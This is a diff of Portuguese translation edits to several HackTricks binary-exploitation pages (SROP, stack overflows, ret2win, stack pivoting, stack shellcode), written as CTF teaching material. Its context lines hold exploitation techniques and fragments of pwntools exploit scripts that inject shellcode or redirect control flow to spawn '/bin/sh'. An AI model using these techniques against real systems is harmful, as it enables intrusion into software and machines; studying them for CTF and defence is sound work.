* Programa em assembly de 64 bits, sem relro, sem canário, nx, sem pie. O fluxo permite escrever na pilha, controlar vários registradores e chamar uma syscall e então chama `exit`. A syscall selecionada é um `sigreturn` que irá definir registradores e mover `eip` para chamar uma instrução de syscall anterior e executar `memprotect` para definir o espaço binário como `rwx` e definir o ESP no espaço binário. Seguindo o fluxo, o programa chamará `read` para o ESP novamente, mas neste caso o ESP estará apontando para a próxima instrução, então passando um shellcode irá escrevê-lo como a próxima instrução e executá-lo.
|
* Programa em Assembly de 64 bits, sem relro, sem canário, nx, sem pie. O fluxo permite escrever na pilha, controlar vários registradores e chamar uma syscall e depois chama `exit`. A syscall selecionada é um `sigreturn` que irá definir registradores e mover `eip` para chamar uma instrução de syscall anterior e executar `memprotect` para definir o espaço binário como `rwx` e definir o ESP no espaço binário. Seguindo o fluxo, o programa chamará `read` novamente para o ESP, mas neste caso o ESP estará apontando para a próxima instrução, então passar um shellcode irá escrevê-lo como a próxima instrução e executá-lo.
|
||||||
* [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection)
|
* [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection)
|
||||||
* SROP é usado para dar privilégios de execução (memprotect) ao local onde um shellcode foi colocado.
|
* SROP é usado para dar privilégios de execução (memprotect) ao local onde um shellcode foi colocado.
|
||||||
|
|
||||||
|
|
|
@ -17,7 +17,7 @@ Aprenda e pratique Hacking GCP: <img src="../../../.gitbook/assets/grte.png" alt
|
||||||
|
|
||||||
## Exemplo Pwntools
|
## Exemplo Pwntools
|
||||||
|
|
||||||
Este exemplo cria o binário vulnerável e o explora. O binário **lê na pilha** e então chama **`sigreturn`**:
|
Este exemplo está criando o binário vulnerável e explorando-o. O binário **lê na pilha** e então chama **`sigreturn`**:
|
||||||
```python
|
```python
|
||||||
from pwn import *
|
from pwn import *
|
||||||
|
|
||||||
|
@ -116,7 +116,7 @@ payload += bytes(frame)
|
||||||
p.sendline(payload)
|
p.sendline(payload)
|
||||||
p.interactive()
|
p.interactive()
|
||||||
```
|
```
|
||||||
## bof exemplo sem sigreturn
|
## exemplo de bof sem sigreturn
|
||||||
|
|
||||||
### Código
|
### Código
|
||||||
```c
|
```c
|
||||||
|
@ -184,7 +184,7 @@ Para mais informações sobre vdso, consulte:
|
||||||
[ret2vdso.md](../ret2vdso.md)
|
[ret2vdso.md](../ret2vdso.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
E para contornar o endereço de `/bin/sh`, você pode criar várias variáveis de ambiente apontando para ele, para mais informações:
|
E para contornar o endereço de `/bin/sh`, você pode criar várias variáveis de ambiente apontando para ele. Para mais informações:
|
||||||
|
|
||||||
{% content-ref url="../../common-binary-protections-and-bypasses/aslr/" %}
|
{% content-ref url="../../common-binary-protections-and-bypasses/aslr/" %}
|
||||||
[aslr](../../common-binary-protections-and-bypasses/aslr/)
|
[aslr](../../common-binary-protections-and-bypasses/aslr/)
|
||||||
|
|
|
@ -19,7 +19,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
|
|
||||||
Um **stack overflow** é uma vulnerabilidade que ocorre quando um programa escreve mais dados na pilha do que foi alocado para armazená-los. Esses dados em excesso irão **sobrescrever o espaço de memória adjacente**, levando à corrupção de dados válidos, interrupção do fluxo de controle e potencialmente à execução de código malicioso. Esse problema geralmente surge devido ao uso de funções inseguras que não realizam verificação de limites na entrada.
|
Um **stack overflow** é uma vulnerabilidade que ocorre quando um programa escreve mais dados na pilha do que foi alocado para armazená-los. Esses dados em excesso irão **sobrescrever o espaço de memória adjacente**, levando à corrupção de dados válidos, interrupção do fluxo de controle e potencialmente à execução de código malicioso. Esse problema geralmente surge devido ao uso de funções inseguras que não realizam verificação de limites na entrada.
|
||||||
|
|
||||||
O principal problema dessa sobrescrita é que o **ponteiro de instrução salvo (EIP/RIP)** e o **ponteiro de base salvo (EBP/RBP)** para retornar à função anterior estão **armazenados na pilha**. Portanto, um atacante poderá sobrescrever esses valores e **controlar o fluxo de execução do programa**.
|
O principal problema dessa sobrescrita é que o **ponteiro de instrução salvo (EIP/RIP)** e o **ponteiro base salvo (EBP/RBP)** para retornar à função anterior estão **armazenados na pilha**. Portanto, um atacante poderá sobrescrever esses valores e **controlar o fluxo de execução do programa**.
|
||||||
|
|
||||||
A vulnerabilidade geralmente surge porque uma função **copia na pilha mais bytes do que a quantidade alocada para ela**, podendo assim sobrescrever outras partes da pilha.
|
A vulnerabilidade geralmente surge porque uma função **copia na pilha mais bytes do que a quantidade alocada para ela**, podendo assim sobrescrever outras partes da pilha.
|
||||||
|
|
||||||
|
@ -38,7 +38,7 @@ printf("You entered: %s\n", buffer);
|
||||||
|
|
||||||
A maneira mais comum de encontrar stack overflows é fornecer uma entrada muito grande de `A`s (por exemplo, `python3 -c 'print("A"*1000)'`) e esperar um `Segmentation Fault` indicando que o **endereço `0x41414141` foi tentado acessar**.
|
A maneira mais comum de encontrar stack overflows é fornecer uma entrada muito grande de `A`s (por exemplo, `python3 -c 'print("A"*1000)'`) e esperar um `Segmentation Fault` indicando que o **endereço `0x41414141` foi tentado acessar**.
|
||||||
|
|
||||||
Além disso, uma vez que você encontrou que há uma vulnerabilidade de Stack Overflow, você precisará encontrar o offset até que seja possível **sobrescrever o endereço de retorno**, para isso geralmente é usada uma **sequência de De Bruijn.** Que para um alfabeto dado de tamanho _k_ e subsequências de comprimento _n_ é uma **sequência cíclica na qual cada possível subsequência de comprimento \_n**\_\*\* aparece exatamente uma vez\*\* como uma subsequência contígua.
|
Além disso, uma vez que você descobriu que há uma vulnerabilidade de Stack Overflow, você precisará encontrar o offset até que seja possível **sobrescrever o endereço de retorno**, para isso geralmente é usada uma **sequência de De Bruijn.** Que para um alfabeto de tamanho _k_ e subsequências de comprimento _n_ é uma **sequência cíclica na qual cada possível subsequência de comprimento \_n**\_\*\* aparece exatamente uma vez\*\* como uma subsequência contígua.
|
||||||
|
|
||||||
Dessa forma, em vez de precisar descobrir manualmente qual offset é necessário para controlar o EIP, é possível usar como preenchimento uma dessas sequências e, em seguida, encontrar o offset dos bytes que acabaram sobrescrevendo-o.
|
Dessa forma, em vez de precisar descobrir manualmente qual offset é necessário para controlar o EIP, é possível usar como preenchimento uma dessas sequências e, em seguida, encontrar o offset dos bytes que acabaram sobrescrevendo-o.
|
||||||
|
|
||||||
|
@ -61,12 +61,12 @@ pattern create 200 #Generate length 200 pattern
|
||||||
pattern search "avaaawaa" #Search for the offset of that substring
|
pattern search "avaaawaa" #Search for the offset of that substring
|
||||||
pattern search $rsp #Search the offset given the content of $rsp
|
pattern search $rsp #Search the offset given the content of $rsp
|
||||||
```
|
```
|
||||||
## Explorando Estouro de Pilha
|
## Explorando Stack Overflows
|
||||||
|
|
||||||
Durante um estouro (supondo que o tamanho do estouro seja grande o suficiente) você poderá **sobrescrever** valores de variáveis locais dentro da pilha até alcançar o **EBP/RBP e EIP/RIP salvos (ou até mais)**.\
|
Durante um overflow (supondo que o tamanho do overflow seja grande o suficiente) você poderá **sobrescrever** valores de variáveis locais dentro da pilha até alcançar o **EBP/RBP e EIP/RIP salvos (ou até mais)**.\
|
||||||
A maneira mais comum de abusar desse tipo de vulnerabilidade é **modificando o endereço de retorno** para que, quando a função terminar, o **fluxo de controle seja redirecionado para onde o usuário especificou** neste ponteiro.
|
A maneira mais comum de abusar desse tipo de vulnerabilidade é **modificando o endereço de retorno** para que, quando a função terminar, o **fluxo de controle seja redirecionado para onde o usuário especificou** neste ponteiro.
|
||||||
|
|
||||||
No entanto, em outros cenários, apenas **sobrescrever alguns valores de variáveis na pilha** pode ser suficiente para a exploração (como em desafios CTF fáceis).
|
No entanto, em outros cenários, talvez apenas **sobrescrever alguns valores de variáveis na pilha** possa ser suficiente para a exploração (como em desafios CTF fáceis).
|
||||||
|
|
||||||
### Ret2win
|
### Ret2win
|
||||||
|
|
||||||
|
@ -76,7 +76,7 @@ Neste tipo de desafios CTF, há uma **função** **dentro** do binário que **nu
|
||||||
[ret2win](ret2win/)
|
[ret2win](ret2win/)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### Shellcode na Pilha
|
### Stack Shellcode
|
||||||
|
|
||||||
Neste cenário, o atacante poderia colocar um shellcode na pilha e abusar do EIP/RIP controlado para pular para o shellcode e executar código arbitrário:
|
Neste cenário, o atacante poderia colocar um shellcode na pilha e abusar do EIP/RIP controlado para pular para o shellcode e executar código arbitrário:
|
||||||
|
|
||||||
|
@ -92,15 +92,15 @@ Esta técnica é a estrutura fundamental para contornar a principal proteção d
|
||||||
[rop-return-oriented-programing](../rop-return-oriented-programing/)
|
[rop-return-oriented-programing](../rop-return-oriented-programing/)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
## Estouro de Heap
|
## Heap Overflows
|
||||||
|
|
||||||
Um estouro não ocorrerá sempre na pilha, ele também pode ocorrer no **heap**, por exemplo:
|
Um overflow não ocorrerá sempre na pilha, ele também pode ocorrer no **heap**, por exemplo:
|
||||||
|
|
||||||
{% content-ref url="../libc-heap/heap-overflow.md" %}
|
{% content-ref url="../libc-heap/heap-overflow.md" %}
|
||||||
[heap-overflow.md](../libc-heap/heap-overflow.md)
|
[heap-overflow.md](../libc-heap/heap-overflow.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
## Tipos de Proteções
|
## Tipos de proteções
|
||||||
|
|
||||||
Existem várias proteções tentando prevenir a exploração de vulnerabilidades, confira-as em:
|
Existem várias proteções tentando prevenir a exploração de vulnerabilidades, confira-as em:
|
||||||
|
|
||||||
|
@ -114,11 +114,11 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Suporte ao HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
|
|
||||||
## Informações Básicas
|
## Informações Básicas
|
||||||
|
|
||||||
Os desafios **Ret2win** são uma categoria popular em competições de **Capture The Flag (CTF)**, particularmente em tarefas que envolvem **binary exploitation**. O objetivo é explorar uma vulnerabilidade em um binário dado para executar uma função específica, não invocada, dentro do binário, frequentemente nomeada como `win`, `flag`, etc. Essa função, quando executada, geralmente imprime uma flag ou uma mensagem de sucesso. O desafio normalmente envolve sobrescrever o **endereço de retorno** na pilha para desviar o fluxo de execução para a função desejada. Aqui está uma explicação mais detalhada com exemplos:
|
Os desafios **Ret2win** são uma categoria popular em competições de **Capture The Flag (CTF)**, particularmente em tarefas que envolvem **binary exploitation**. O objetivo é explorar uma vulnerabilidade em um binário dado para executar uma função específica, não invocada, dentro do binário, frequentemente nomeada como `win`, `flag`, etc. Esta função, quando executada, geralmente imprime uma flag ou uma mensagem de sucesso. O desafio normalmente envolve sobrescrever o **endereço de retorno** na pilha para desviar o fluxo de execução para a função desejada. Aqui está uma explicação mais detalhada com exemplos:
|
||||||
|
|
||||||
### Exemplo em C
|
### Exemplo em C
|
||||||
|
|
||||||
|
@ -76,13 +76,13 @@ Para encontrar o endereço da função `win`, você pode usar **gdb**, **objdump
|
||||||
```sh
|
```sh
|
||||||
objdump -d vulnerable | grep win
|
objdump -d vulnerable | grep win
|
||||||
```
|
```
|
||||||
Este comando mostrará a você a montagem da função `win`, incluindo seu endereço inicial. 
|
Este comando mostrará a montagem da função `win`, incluindo seu endereço inicial. 
|
||||||
|
|
||||||
O script Python envia uma mensagem cuidadosamente elaborada que, quando processada pela `vulnerable_function`, transborda o buffer e sobrescreve o endereço de retorno na pilha com o endereço de `win`. Quando `vulnerable_function` retorna, em vez de retornar para `main` ou sair, ele salta para `win`, e a mensagem é impressa.
|
O script Python envia uma mensagem cuidadosamente elaborada que, quando processada pela `vulnerable_function`, transborda o buffer e sobrescreve o endereço de retorno na pilha com o endereço de `win`. Quando `vulnerable_function` retorna, em vez de retornar para `main` ou sair, ele salta para `win`, e a mensagem é impressa.
|
||||||
|
|
||||||
## Proteções
|
## Proteções
|
||||||
|
|
||||||
* [**PIE**](../../common-binary-protections-and-bypasses/pie/) **deve ser desativado** para que o endereço seja confiável em várias execuções ou o endereço onde a função será armazenada não será sempre o mesmo e você precisaria de algum leak para descobrir onde a função win está carregada. Em alguns casos, quando a função que causa o transbordamento é `read` ou similar, você pode fazer uma **Sobrescrita Parcial** de 1 ou 2 bytes para mudar o endereço de retorno para ser a função win. Devido ao funcionamento do ASLR, os últimos três nibbles hexadecimais não são randomizados, então há uma **chance de 1/16** (1 nibble) de obter o endereço de retorno correto.
|
* [**PIE**](../../common-binary-protections-and-bypasses/pie/) **deve ser desativado** para que o endereço seja confiável em várias execuções ou o endereço onde a função será armazenada não será sempre o mesmo e você precisaria de algum leak para descobrir onde a função win está carregada. Em alguns casos, quando a função que causa o transbordamento é `read` ou similar, você pode fazer uma **Sobrescrita Parcial** de 1 ou 2 bytes para mudar o endereço de retorno para ser a função win. Devido ao funcionamento do ASLR, os últimos três nibble hexadecimais não são randomizados, então há uma **chance de 1/16** (1 nibble) de obter o endereço de retorno correto.
|
||||||
* [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) também devem ser desativados ou o endereço de retorno EIP comprometido nunca será seguido.
|
* [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) também devem ser desativados ou o endereço de retorno EIP comprometido nunca será seguido.
|
||||||
|
|
||||||
## Outros exemplos & Referências
|
## Outros exemplos & Referências
|
||||||
|
@ -91,7 +91,7 @@ O script Python envia uma mensagem cuidadosamente elaborada que, quando processa
|
||||||
* [https://guyinatuxedo.github.io/04-bof\_variable/tamu19\_pwn1/index.html](https://guyinatuxedo.github.io/04-bof\_variable/tamu19\_pwn1/index.html)
|
* [https://guyinatuxedo.github.io/04-bof\_variable/tamu19\_pwn1/index.html](https://guyinatuxedo.github.io/04-bof\_variable/tamu19\_pwn1/index.html)
|
||||||
* 32 bits, sem ASLR
|
* 32 bits, sem ASLR
|
||||||
* [https://guyinatuxedo.github.io/05-bof\_callfunction/csaw16\_warmup/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/csaw16\_warmup/index.html)
|
* [https://guyinatuxedo.github.io/05-bof\_callfunction/csaw16\_warmup/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/csaw16\_warmup/index.html)
|
||||||
* 64 bits com ASLR, com um leak do endereço bin
|
* 64 bits com ASLR, com um leak do endereço binário
|
||||||
* [https://guyinatuxedo.github.io/05-bof\_callfunction/csaw18\_getit/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/csaw18\_getit/index.html)
|
* [https://guyinatuxedo.github.io/05-bof\_callfunction/csaw18\_getit/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/csaw18\_getit/index.html)
|
||||||
* 64 bits, sem ASLR
|
* 64 bits, sem ASLR
|
||||||
* [https://guyinatuxedo.github.io/05-bof\_callfunction/tu17\_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/tu17\_vulnchat/index.html)
|
* [https://guyinatuxedo.github.io/05-bof\_callfunction/tu17\_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/tu17\_vulnchat/index.html)
|
||||||
|
@ -107,7 +107,7 @@ O script Python envia uma mensagem cuidadosamente elaborada que, quando processa
|
||||||
* [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
|
* [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
|
||||||
* 64 bits, relro, sem canário, nx, pie. Sobrescrita parcial para chamar a função win (ret2win)
|
* 64 bits, relro, sem canário, nx, pie. Sobrescrita parcial para chamar a função win (ret2win)
|
||||||
* [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/)
|
* [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/)
|
||||||
* arm64, PIE, dá um leak PIE, a função win é na verdade 2 funções, então gadget ROP que chama 2 funções
|
* arm64, PIE, dá um leak PIE a função win é na verdade 2 funções, então gadget ROP que chama 2 funções
|
||||||
* [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/)
|
* [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/)
|
||||||
* ARM64, off-by-one para chamar uma função win
|
* ARM64, off-by-one para chamar uma função win
|
||||||
|
|
||||||
|
|
|
@ -10,7 +10,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
||||||
|
|
||||||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
@ -181,8 +181,8 @@ print(p.recvline())
|
||||||
p.close()
|
p.close()
|
||||||
```
|
```
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Treinamento AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Treinamento GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
|
|
@ -15,7 +15,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Basic Information
|
## Informações Básicas
|
||||||
|
|
||||||
Esta técnica explora a capacidade de manipular o **Base Pointer (EBP)** para encadear a execução de múltiplas funções através do uso cuidadoso do registrador EBP e da sequência de instruções **`leave; ret`**.
|
Esta técnica explora a capacidade de manipular o **Base Pointer (EBP)** para encadear a execução de múltiplas funções através do uso cuidadoso do registrador EBP e da sequência de instruções **`leave; ret`**.
|
||||||
|
|
||||||
|
@ -31,16 +31,16 @@ And as the **EBP está na pilha** antes do EIP, é possível controlá-lo contro
|
||||||
|
|
||||||
Esta técnica é particularmente útil quando você pode **alterar o registrador EBP, mas não tem uma maneira direta de mudar o registrador EIP**. Ela aproveita o comportamento das funções quando terminam de executar.
|
Esta técnica é particularmente útil quando você pode **alterar o registrador EBP, mas não tem uma maneira direta de mudar o registrador EIP**. Ela aproveita o comportamento das funções quando terminam de executar.
|
||||||
|
|
||||||
Se, durante a execução de `fvuln`, você conseguir injetar um **EBP falso** na pilha que aponte para uma área na memória onde o endereço do seu shellcode está localizado (mais 4 bytes para contabilizar a operação `pop`), você pode controlar indiretamente o EIP. Quando `fvuln` retorna, o ESP é definido para este local criado, e a operação `pop` subsequente diminui o ESP em 4, **fazendo efetivamente com que aponte para um endereço armazenado pelo atacante ali.**\
|
Se, durante a execução de `fvuln`, você conseguir injetar um **EBP falso** na pilha que aponte para uma área na memória onde o endereço do seu shellcode está localizado (mais 4 bytes para contabilizar a operação `pop`), você pode controlar indiretamente o EIP. Quando `fvuln` retorna, o ESP é definido para esta localização criada, e a operação `pop` subsequente diminui o ESP em 4, **efetivamente fazendo com que aponte para um endereço armazenado pelo atacante ali.**\
|
||||||
Note como você **precisa saber 2 endereços**: aquele para onde o ESP vai, onde você precisará escrever o endereço que é apontado pelo ESP.
|
Note como você **precisa saber 2 endereços**: O onde o ESP vai, onde você precisará escrever o endereço que é apontado pelo ESP.
|
||||||
|
|
||||||
#### Construção do Exploit
|
#### Construção do Exploit
|
||||||
|
|
||||||
Primeiro, você precisa saber um **endereço onde pode escrever dados / endereços arbitrários**. O ESP apontará aqui e **executará o primeiro `ret`**.
|
Primeiro, você precisa saber um **endereço onde pode escrever dados / endereços arbitrários**. O ESP apontará aqui e **executará o primeiro `ret`**.
|
||||||
|
|
||||||
Em seguida, você precisa saber o endereço usado pelo `ret` que irá **executar código arbitrário**. Você poderia usar:
|
Então, você precisa saber o endereço usado pelo `ret` que irá **executar código arbitrário**. Você poderia usar:
|
||||||
|
|
||||||
* Um endereço válido de [**ONE\_GADGET**](https://github.com/david942j/one\_gadget).
|
* Um endereço válido [**ONE\_GADGET**](https://github.com/david942j/one\_gadget).
|
||||||
* O endereço de **`system()`** seguido de **4 bytes de lixo** e o endereço de `"/bin/sh"` (x86 bits).
|
* O endereço de **`system()`** seguido de **4 bytes de lixo** e o endereço de `"/bin/sh"` (x86 bits).
|
||||||
* O endereço de um gadget **`jump esp;`** ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) seguido do **shellcode** a ser executado.
|
* O endereço de um gadget **`jump esp;`** ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) seguido do **shellcode** a ser executado.
|
||||||
* Alguma cadeia [**ROP**](../rop-return-oriented-programing/).
|
* Alguma cadeia [**ROP**](../rop-return-oriented-programing/).
|
||||||
|
@ -52,7 +52,7 @@ Lembre-se de que antes de qualquer um desses endereços na parte controlada da m
|
||||||
Há uma variante específica dessa técnica conhecida como "Exploit Off-By-One". É usada quando você pode **apenas modificar o byte menos significativo do EBP**. Nesse caso, a localização da memória que armazena o endereço para pular com o **`ret`** deve compartilhar os três primeiros bytes com o EBP, permitindo uma manipulação semelhante com condições mais restritas.\
|
Há uma variante específica dessa técnica conhecida como "Exploit Off-By-One". É usada quando você pode **apenas modificar o byte menos significativo do EBP**. Nesse caso, a localização da memória que armazena o endereço para pular com o **`ret`** deve compartilhar os três primeiros bytes com o EBP, permitindo uma manipulação semelhante com condições mais restritas.\
|
||||||
Geralmente, modifica-se o byte 0x00 para pular o mais longe possível.
|
Geralmente, modifica-se o byte 0x00 para pular o mais longe possível.
|
||||||
|
|
||||||
Além disso, é comum usar um RET sled na pilha e colocar a verdadeira cadeia ROP no final para aumentar a probabilidade de que o novo ESP aponte dentro do RET SLED e a cadeia ROP final seja executada.
|
Além disso, é comum usar um RET sled na pilha e colocar a verdadeira cadeia ROP no final para tornar mais provável que o novo ESP aponte dentro do RET SLED e a cadeia ROP final seja executada.
|
||||||
|
|
||||||
### **Encadeamento de EBP**
|
### **Encadeamento de EBP**
|
||||||
|
|
||||||
|
@ -67,7 +67,7 @@ Agora, o **`ESP`** está controlado apontando para um endereço desejado e a pr
|
||||||
|
|
||||||
Basicamente, dessa forma é possível encadear vários EBPs falsos para controlar o fluxo do programa.
|
Basicamente, dessa forma é possível encadear vários EBPs falsos para controlar o fluxo do programa.
|
||||||
|
|
||||||
Isso é como um [ret2lib](../rop-return-oriented-programing/ret2lib/), mas mais complexo, sem benefício aparente, mas pode ser interessante em alguns casos extremos.
|
Isso é como um [ret2lib](../rop-return-oriented-programing/ret2lib/), mas mais complexo sem benefício aparente, mas pode ser interessante em alguns casos extremos.
|
||||||
|
|
||||||
Além disso, aqui você tem um [**exemplo de um desafio**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) que usa essa técnica com um **leak de pilha** para chamar uma função vencedora. Este é o payload final da página:
|
Além disso, aqui você tem um [**exemplo de um desafio**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) que usa essa técnica com um **leak de pilha** para chamar uma função vencedora. Este é o payload final da página:
|
||||||
```python
|
```python
|
||||||
|
@ -107,7 +107,7 @@ print(p.recvline())
|
||||||
```
|
```
|
||||||
## EBP pode não ser usado
|
## EBP pode não ser usado
|
||||||
|
|
||||||
Como [**explicado neste post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), se um binário é compilado com algumas otimizações, o **EBP nunca controla o ESP**, portanto, qualquer exploit que funcione controlando o EBP basicamente falhará porque não tem nenhum efeito real.\
|
Como [**explicado neste post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), se um binário é compilado com algumas otimizações, o **EBP nunca consegue controlar o ESP**, portanto, qualquer exploit que funcione controlando o EBP basicamente falhará porque não tem nenhum efeito real.\
|
||||||
Isso ocorre porque o **prólogo e epílogo mudam** se o binário estiver otimizado.
|
Isso ocorre porque o **prólogo e epílogo mudam** se o binário estiver otimizado.
|
||||||
|
|
||||||
* **Não otimizado:**
|
* **Não otimizado:**
|
||||||
|
|
|
@ -1,16 +1,16 @@
|
||||||
# Stack Shellcode
|
# Stack Shellcode
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Support HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
